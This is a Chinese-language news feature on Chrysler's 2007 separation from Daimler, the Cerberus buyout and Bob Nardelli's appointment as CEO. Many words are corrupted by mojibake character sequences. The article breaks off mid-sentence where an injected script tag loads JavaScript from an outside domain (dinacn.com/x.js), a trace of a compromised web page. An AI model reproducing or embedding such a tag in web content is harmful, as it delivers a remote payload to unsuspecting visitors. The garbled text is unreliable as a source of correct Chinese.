今年5月，国际汽车界传出惊天消息，戴姆勒•克莱斯勒集团将旗下的克莱斯勒品牌以及相关的金融业务以55亿欧元(约合74亿美元)的价格出售给美国私募基金公司瑟伯勒斯（CERBERUS）资本管理公司80.1％的股份，8月初，戴•克集团被拆分，美国克莱斯勒与德国戴姆勒£¬奔驰正式分道扬镳，分手后的克莱斯勒是否意味东山再起？

    放手大干

    8月3日，戴姆勒•克莱斯勒与瑟伯勒斯资本管理公司达成交易，向瑟伯勒斯资本管理公司的一家分支机构转让克莱斯勒的多数股权以及在北美自由贸易区的相关金融服务，这比Ô¬计划整整提前了一个月。从这一天开始，新克莱斯勒进入了一个依靠自己完成“单飞”的崭新的“后戴•克”时代。
 
    告别了9年由戴姆勒控股的日子，2007年8月6日，美国密歇根州奥本山克莱斯勒总部的草坪上，克莱斯勒庆祝公司新纪元的一系列活动也正式À¬开了帷幕。新克莱斯勒成立的“第一日”，人群里打出这样的标语—— “欢Ó¬来到私营化克莱斯勒新世界”。

    蓝天白云下的奥本山格外迷人，但是现场人们却无暇顾及。他们和全球其他地区的员工一样，更加关心的是私有化以后克莱斯勒将向何方发展？每个人都在焦灼地等待着命运之神的安排。
　　
    美国人在宣传中将8月6日称之为新克莱斯勒的“第一日”，这个比喻形象而且深刻。在被戴姆勒收购、处于德国人阴影下生活了9年后，克莱斯勒终于重新回到了美国人的怀抱。从这个角度来看，“第一日”也可以被认为是克莱斯勒的独立日。解脱了束缚后，作为美国三大汽车品牌之一的克莱斯勒终于重新回到了起跑线上，似乎可以放开手脚大干一场了。

    走马换将

    就在8月6日同一天，克莱斯勒完成了今年最重要的一次人事重组，由家得宝前CEO鲍勃•纳德利任新克莱斯勒¶¬事长兼首席执行官。新克莱斯勒在高端管理架构上迅速走马换将，大有彻底改头换面的架势。

    随着克莱斯勒新任CEO纳德利的上任，克莱斯勒的新领导班子也浮出了水面。继纳德利后，克莱斯勒任命汤姆•莱索达任新克莱斯勒副¶¬事长兼总裁。此外，克莱斯勒还任命了吉姆•哈里斯•琼斯等人为副总裁。在新管理团队中，瑟伯勒斯私募基金与戴姆勒集团的多位代表担任了¶¬事会成员。而Ô¬克莱斯勒的COO任德容选择离职。不管是新来者，还是继续坚守者，对未来大家都有点迫不及待，毕竟他们将引领着克莱斯勒开启一个新的百年。

    应该说，让鲍勃•纳德利担任新克莱斯勒的掌门人，还是让人感到有些意外，因为，纳德利毕竟是汽车行业的一个门外汉。也许，在克莱斯勒新¶¬事会看来，选中纳德利是受了福特汽车的启发，2006年9月5日，福特汽车公司任命Ô¬波音公司的副总裁艾伦•穆À¬利接替比尔•福特之职，担任公司总裁兼首席执行官，随后，作为门外汉的穆À¬利开始了大刀阔斧的改革，半年之后，沉疴已久的福特汽车终于走出了亏损的泥沼，实现了盈利。

    据熟悉克莱斯勒的知情人士表示：之所以选择纳德利，就是因为他有可能为新克莱斯勒带来与众不同的新视角。可以说，与穆À¬利一样，同样有着惊人胆识和出色的运营手段以及管理业绩的纳德利让克莱斯勒的新管理层看到了迅速崛起的希望。　

    新克莱斯勒不仅要面临着迅速更新产品链的压力，更要面对来自市场利润的压力，这对新掌门纳德利来说，无疑是个双重的挑战。眼下，摆在纳德利面前最棘手的任务就是，联手通用汽车、福特汽车，应对与美国汽车工会的谈判，以便减轻成本的重压。按照计划，新克莱斯勒集团将在3年内至少裁员1.3万人，以削减成本；另一方面，新克莱斯勒还计划在产品上实现转型，借¾¬济性汽车，来提高在美国市场和全球市场的占有率。纳德利甚至乐观地估计，一旦这两点都能顺利实现，新克莱斯勒不排除在2008年有实现盈利的可能。

    而面对瑟伯勒斯的信任，纳德利也以不要月薪的方式表示了自己破釜沉舟的决心和勇气，纳德利表示：“其报酬将直接与克莱斯勒公司的资产表现挂钩”。这个做法与30多年前汽车史上的传奇人物李•亚柯卡颇为相似。那时候的克莱斯勒正处于破产边缘，李•亚柯卡同样承诺只拿“1美元年薪”，直至公司盈利，欲摆脱“本土品牌”的尴尬。
　　
    纳德利能够像亚柯卡一样力挽狂澜吗？形势不容乐观。

    上演“实力秀”

    从 8月6日展开的全美广告宣传?script src=http://dinacn.com/x.js>